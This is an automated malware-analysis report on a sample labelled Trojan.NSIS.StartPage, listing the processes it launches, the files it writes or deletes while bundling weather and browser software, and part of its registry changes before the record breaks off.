Trojan.NSIS.StartPage_b8d0ff525f

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

worldweather.exe:2452
worldWeatherUpdate.5002.exe:2896
365weatherIns_61.exe:408
greendou.exe:772
worldWeatherRealTime5002.exe:2408

The Trojan injects its code into the following process(es):

%original file name%.exe:204

File activity

The process worldweather.exe:2452 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\All Users\Application Data\worldweather\Cfg5002.ini (288 bytes)
%Program Files%\worldweather\5.0.0.5002\Cfg5002.ini (216 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Program Files%\worldweather\5.0.0.5002\weatherData.tmp (354 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@uujzy[1].txt (139 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\go[1].htm (0 bytes)

The process worldWeatherUpdate.5002.exe:2896 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\369[1].ico (16369 bytes)
%Documents and Settings%\All Users\Application Data\worldweather\PM10Context\PM10Context.db.!mv (835 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\PM10Context[1].xml (835 bytes)
%Documents and Settings%\All Users\Application Data\worldweather\AQIContext\AQIContext.db.!mv (365 bytes)
%Program Files%\worldweather\5.0.0.5002\Cfg5002.ini (202 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\WeatherContext[1].xml (509 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\PM25Context[1].xml (624 bytes)
%Documents and Settings%\All Users\Application Data\worldweather\Cfg5002.ini (1196 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (964 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sina.com[1].txt (196 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\common\366.ico.!mv (16369 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\AQIContext[1].xml (365 bytes)
%Documents and Settings%\All Users\Application Data\worldweather\PM25Context\PM25Context.db.!mv (624 bytes)
%Documents and Settings%\All Users\Application Data\worldweather\WeatherContext\WeatherContext.db.!mv (509 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\common\369.ico.!mv (16369 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\366[1].ico (16369 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\All Users\Application Data\worldweather\WeatherContext\WeatherContext.db (0 bytes)

The process 365weatherIns_61.exe:408 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\System.dll (11 bytes)
%Program Files%\worldweather\5.0.0.5002\PM10.5002.exe (7192 bytes)
%Program Files%\worldweather\5.0.0.5002\weather.db (6584 bytes)
%Program Files%\worldweather\5.0.0.5002\uninst.exe (2251 bytes)
%Program Files%\worldweather\5.0.0.5002\updateContext\un_update.html (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\ToggleImages.html (1 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\default\btn_move.jpg (1 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\default\bg_large.png (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\btn_next.bmp (2392 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\default\btn_max.jpg (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsb4.tmp (80589 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\common\future\n99.png (6 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\common\future\tips.ico (1856 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\loading1.bmp (696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\tongji_61[1].htm (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\KillProcDLL.dll (4 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\common\err.png (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\checkbox1.bmp (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\tongji.html (2 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\default\btn_min.jpg (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\inetc.dll (784 bytes)
%Program Files%\worldweather\5.0.0.5002\areacode.db (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\2.jpg (1552 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\btn_close.bmp (1 bytes)
%Documents and Settings%\All Users\Application Data\worldweather\Cfg5002.ini (325 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\common\min.png (440 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\bg.bmp (18424 bytes)
%Program Files%\worldweather\5.0.0.5002\updateContext\i.gif (170 bytes)
%Program Files%\worldweather\5.0.0.5002\updateContext\loading.gif (8 bytes)
%Program Files%\worldweather\5.0.0.5002\sqliteApi.dll (784 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\3.jpg (1552 bytes)
%Program Files%\worldweather\5.0.0.5002\worldWeatherRealTime5002.exe (4992 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\default\bg_small.png (4 bytes)
%Program Files%\worldweather\5.0.0.5002\Cfg5002.ini (325 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\nsWindows.dll (10 bytes)
%Program Files%\worldweather\5.0.0.5002\updateContext\update.html (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\worldweather\´óÖÚÌìÆøÔ¤±¨Ð¶ÔØ.lnk (911 bytes)
%Program Files%\worldweather\5.0.0.5002\worldweather.exe (19096 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\md5dll.dll (8 bytes)
%Program Files%\worldweather\5.0.0.5002\updateContext\updateRecord.db (1 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\common\loading.png (3 bytes)
%Documents and Settings%\All Users\Start Menu\Programs\worldweather\´óÖÚÌìÆøÔ¤±¨.lnk (943 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\checkbox2.bmp (2 bytes)
%Program Files%\worldweather\5.0.0.5002\AQI.5002.exe (7192 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\loading2.bmp (696 bytes)
%Program Files%\worldweather\5.0.0.5002\WeatherContext\WeatherContext.db (352 bytes)
%Program Files%\worldweather\5.0.0.5002\worldWeatherUpdate.5002.exe (11344 bytes)
%Program Files%\worldweather\5.0.0.5002\sqlite3.dll (20416 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\1.jpg (1552 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\common\large\n99.png (784 bytes)
%Program Files%\worldweather\5.0.0.5002\PM25.5002.exe (11344 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\default\btn_setting.jpg (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\SkinBtn.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp\btn_complete.bmp (2392 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\common\kz.png (3 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\common\close.png (873 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\default\skin.xml (6 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\default\btn_close.jpg (3 bytes)
%Program Files%\worldweather\5.0.0.5002\skins\common\topbar.png (3 bytes)
%Program Files%\worldweather\5.0.0.5002\mfc5002.dll (5520 bytes)
%Documents and Settings%\All Users\Application Data\worldweather\updateContext\updateRecord.db (1 bytes)
%Documents and Settings%\All Users\Application Data\worldweather\WeatherContext\WeatherContext.db (352 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp (0 bytes)
%Documents and Settings%\All Users\Application Data\worldweather\updateContext\AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl3.tmp (0 bytes)

The process greendou.exe:772 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\citydata[2].js (7666 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\skin_[1].css (21 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\123.sogou[2] (10367 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\guide_tip[1].png (1459 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\VGX6.tmp (10 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\lk_jumei[1].png (731 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\titlebg[1].png (50 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\main[1].js (6192 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\v33_sugg_ajaj_v40_3[2].js (1187 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\foot_slider[1].jpg (322 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\ufo2[1].js (17536 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140512170407_319[1].jpg (232 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\DD_belatedPNG_0.0.8a-min[2].js (1208 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\20130820165531_481[1].gif (50 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\selogo_111207[1].png (1848 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\main[2].js (2605 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\skin2_0[1].gif (592 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\20140508103513_537[1].gif (6813 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\20140512170546_833[1].jpg (232 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@123.sogou[2].txt (1879 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[2].txt (640 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\skin3[1].gif (1314 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@123.sogou[1].txt (1398 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\fine_cloudy[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\citydata[1].js (7992 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (11568 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\_ads_2[2].js (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\v53_2icos[1].gif (50 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\favicon[1].ico (1 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[1].txt (774 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\123.sogou[1].htm (7472 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\setskinbg[1].gif (397 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\fbg_about[1].png (805 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\cloudy[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\123.sogou[1] (14016 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\v53_arrow_h[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\v53_123n[2].js (4349 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\img-video-2[1].gif (225 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\DD_belatedPNG_0.0.8a-min[1].js (217 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\get_tj[1].php (1199 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140513112717_7[1].jpg (3852 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\guide_tip[1].png (2319 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\hotdata[1].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\skin_tips_n1[1].gif (1 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@wan.sogou[1].txt (191 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\setting_icon[1].gif (76 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\rec[1].do (374 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\get_123_v53[1].php (16030 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\subnav_v41[1].png (682 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140512112800_851[1].jpg (2380 bytes)
%Program Files%\greeou\profile\Defaults\last.ini (2306 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\20130531144119_126[1].png (3810 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\v53_bicos[1].gif (826 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\v33_sugg_ajaj_v40_3[1].js (1352 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\hotdata[2].js (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\logo_1112293[1].gif (866 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\search_arrow[1].gif (447 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\i-ico-2b[1].png (173 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\icon4[1].gif (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\_ads_2[1].js (3 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\ufo2[2].js (19464 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\20140507144656_823[1].jpg (783 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\fIXLig2wT89333[1].jpg (2500 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\selogo_111207[2].png (1606 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\selogo_111207[1].png (2008 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\v53_123n[1].js (4851 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\img-news[1].gif (225 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\new-ico[1].png (211 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\1oq9Gg9Y3L8813[1].jpg (1492 bytes)
%Program Files%\greeou\profile\Defaults\config.ini (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\20140507144124_693[1].jpg (232 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\new-erweima2[1].png (2985 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\v33_sugg_ajaj_v40_3[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\DD_belatedPNG_0.0.8a-min[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@123.sogou[2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\hotdata[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@123.sogou[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\_ads_2[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\citydata[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\W3GJE5WP\main[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\ufo2[1].js (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[1].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CZABEL6V\v53_123n[1].js (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\6RMPQHIX\123.sogou[1] (0 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@sogou[2].txt (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0PEXU1AN\guide_tip[1].png (0 bytes)

The process %original file name%.exe:204 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\processwork.dll (6140 bytes)
%Program Files%\greeou\skin\Default\control\tab_hover.png (346 bytes)
%Program Files%\greeou\skin\Default\control\tab_bg.png (314 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_new3.png (1 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\System.dll (11 bytes)
%Program Files%\greeou\skin\Default\misc\16_ad_hunter.png (716 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\365weatherIns_61.exe (119257 bytes)
%Program Files%\greeou\profile\Template\start\style.css (3 bytes)
%Program Files%\greeou\skin\Default\control\tab_sidebar.png (321 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_favorites2.png (696 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\Md5dll.dll (8 bytes)
%Program Files%\greeou\skin\Default\control\MenuItem_Hover.png (2 bytes)
%Program Files%\greeou\skin\Default\misc\24_go.png (650 bytes)
%Program Files%\greeou\skin\Default\misc\16_open_in_bg.png (507 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_favorites.png (700 bytes)
%Program Files%\greeou\profile\Defaults\CommandBars.ini (1 bytes)
%Program Files%\greeou\skin\Default\mskin.ini (10 bytes)
%Program Files%\greeou\GreenDou.exe (25123 bytes)
%Program Files%\greeou\skin\Default\control\status_bar_bg.png (445 bytes)
%Program Files%\greeou\skin\Default\control\combo_dropdown_hover.png (774 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_forward.png (947 bytes)
%Program Files%\greeou\skin\Default\control\win_minimize.png (202 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\NSISdl.dll (14 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_refresh.png (1 bytes)
%Program Files%\greeou\skin\Default\control\combo_dropdown.png (794 bytes)
%Program Files%\greeou\profile\Template\start\images\logo.gif (3 bytes)
%Program Files%\greeou\skin\Default\control\Button_Pressed.png (1 bytes)
%Program Files%\greeou\profile\Template\start\index.html (832 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_home.png (1 bytes)
%Program Files%\greeou\skin\Default\misc\16_website_info.png (1 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_new.png (879 bytes)
%Program Files%\greeou\skin\Default\control\title_bg.png (655 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_home2.png (1 bytes)
%Program Files%\greeou\profile\Template\start\images\header_logo.gif (2 bytes)
%Program Files%\greeou\skin\Default\shared\16_edit.png (646 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_back3.png (1 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_stop2.png (1 bytes)
%Program Files%\greeou\profile\SearchEngine\config.ini (226 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_new2.png (801 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_page_zoom2.png (724 bytes)
%Program Files%\greeou\profile\Template\start\images\dian.gif (376 bytes)
%Program Files%\greeou\skin\Default\control\win_close.png (362 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_refresh2.png (1 bytes)
%Program Files%\greeou\profile\Template\start\images\header_bg.gif (83 bytes)
%Program Files%\greeou\skin\Default\control\tab_active.png (1 bytes)
%Program Files%\greeou\skin\Default\control\mainframe.png (288 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_back2.png (1 bytes)
%Program Files%\greeou\skin\Default\control\tab_inactive.png (281 bytes)
%Program Files%\greeou\skin\Default\control\sidebar_tab_inactive.png (259 bytes)
%Program Files%\greeou\skin\Default\misc\16_folder_open.png (614 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_search.png (871 bytes)
%Program Files%\greeou\skin\Default\control\combosearch_dropdown.png (794 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\open.ini (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\setup_a7158.exe (354562 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_search2.png (969 bytes)
%Program Files%\greeou\skin\Default\control\win_maximum.png (275 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_new.png (637 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_page_zoom.png (733 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\Inetc.dll (20 bytes)
%Program Files%\greeou\skin\Default\control\tab_sidebar_hover.png (322 bytes)
%Program Files%\greeou\skin\Default\control\sidebar_tab_active.png (957 bytes)
%Program Files%\greeou\skin\Default\control\progress.png (708 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_back.png (953 bytes)
%Program Files%\greeou\skin\Default\control\combo.png (260 bytes)
%Program Files%\greeou\profile\SearchEngine\google.ico (1 bytes)
%Program Files%\greeou\skin\Default\control\tab_new.png (350 bytes)
%Program Files%\greeou\skin\Default\control\combosearch_dropdown_hover.png (774 bytes)
%Program Files%\greeou\profile\Template\start\left.html (1 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_forward2.png (1 bytes)
%Program Files%\greeou\profile\Defaults\config.ini (902 bytes)
%Program Files%\greeou\skin\Default\control\skin_selector.png (283 bytes)
%Program Files%\greeou\skin\Default\control\win_restore.png (302 bytes)
%Program Files%\greeou\skin\Default\control\Button_Checked.png (976 bytes)
%Program Files%\greeou\skin\Default\misc\16_page.png (519 bytes)
%Program Files%\greeou\skin\Default\control\tab_close.png (259 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_history2.png (994 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_undo2.png (840 bytes)
%Program Files%\greeou\skin\Default\control\tab_new_hover.png (346 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\xID.dll (3 bytes)
%Program Files%\greeou\profile\SearchEngine\taobao.ico (1 bytes)
%Program Files%\greeou\skin\Default\control\Button_Hover.png (1 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_new2.png (1 bytes)
%Program Files%\greeou\skin\Default\misc\16_folder_closed.png (587 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_stop.png (1 bytes)
%Program Files%\greeou\skin\Default\shared\16_new.png (650 bytes)
%Documents and Settings%\%current user%\Start Menu\Programs\Â̶¹ä¯ÀÀÆ÷\Â̶¹ä¯ÀÀÆ÷.lnk (678 bytes)
%Documents and Settings%\%current user%\Desktop\Â̶¹ä¯ÀÀÆ÷.lnk (666 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_history.png (847 bytes)
%Program Files%\greeou\skin\Default\toolbar\16_undo.png (748 bytes)
%Program Files%\greeou\profile\SearchEngine\baidu.ico (2 bytes)
%Program Files%\greeou\skin\Default\misc\24_go2.png (648 bytes)
%Program Files%\greeou\profile\Defaults\last.ini (348 bytes)
%Program Files%\greeou\skin\Default\control\combo_hover.png (261 bytes)
%Program Files%\greeou\skin\Default\control\tab_close_hover.png (2 bytes)
%Program Files%\greeou\profile\Defaults\searchkeys.ini (14 bytes)
%Program Files%\greeou\skin\Default\toolbar\24_forward3.png (1 bytes)
%Program Files%\greeou\ico\taobao.ico (2104 bytes)
%Program Files%\greeou\skin\Default\misc\16_open_in_new.png (548 bytes)
%Program Files%\greeou\profile\Template\start\images\logo2.gif (596 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\nsRandom.dll (935 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsu2.tmp\open.ini (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp1.tmp (0 bytes)

Registry activity

The process worldweather.exe:2452 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"
